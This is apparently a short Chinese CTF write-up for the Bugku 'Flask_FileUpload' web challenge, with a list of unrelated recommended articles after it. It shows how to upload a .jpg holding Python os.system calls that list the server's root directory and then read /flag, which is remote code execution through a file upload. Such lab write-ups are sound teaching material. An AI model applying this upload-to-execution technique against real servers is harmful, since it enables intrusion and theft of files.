Bugku-web-Flask_FileUpload
查看源代码，提示用python返回结果
在file.jpg中写python代码
import os
os.system('ls / ')上传后查看源代码，找到flag文件夹
修改代码
import os
os.system('cat /flag ')
Bugku-web-Flask_FileUpload
黑白时光les2024-08-01 11:52
相关推荐
天诰6 分钟前
SA-K-11 检索会消失吗与四个未解问题benchmark_cc1 小时前
用 QuantDash 读取美股行情：AAPL.US 的运行前检查、排错顺序与数据校验清单IT_陈寒2 小时前
Redis内存暴涨，没想到是AOF重写捣的鬼ikoala2 小时前
让 Codex 自己查账：一个省 token 的小技巧ikoala3 小时前
AI 写页面像说明书，修 Bug 像贴膏药？把这两句话写进 AGENTS.md羲云网络4 小时前
GPT Image 2.6 接入指南：Flare、Sunburst 怎么选，编辑失败如何排查去伪存真5 小时前
AI Agent Harness 深度测评与技术选型实战FRing037 小时前
vue2干货总结7（自定义指令、插槽、单页应用程序、路由的使用（VueRouter））橙橙笔记7 小时前
具身智能的学习 - 完成一个机械臂 第1节小小张说故事8 小时前
Python 的 class 语句到底执行了什么？拆开 __prepare__、metaclass.__new__ 和那个被讲反的 __set_name__ 顺序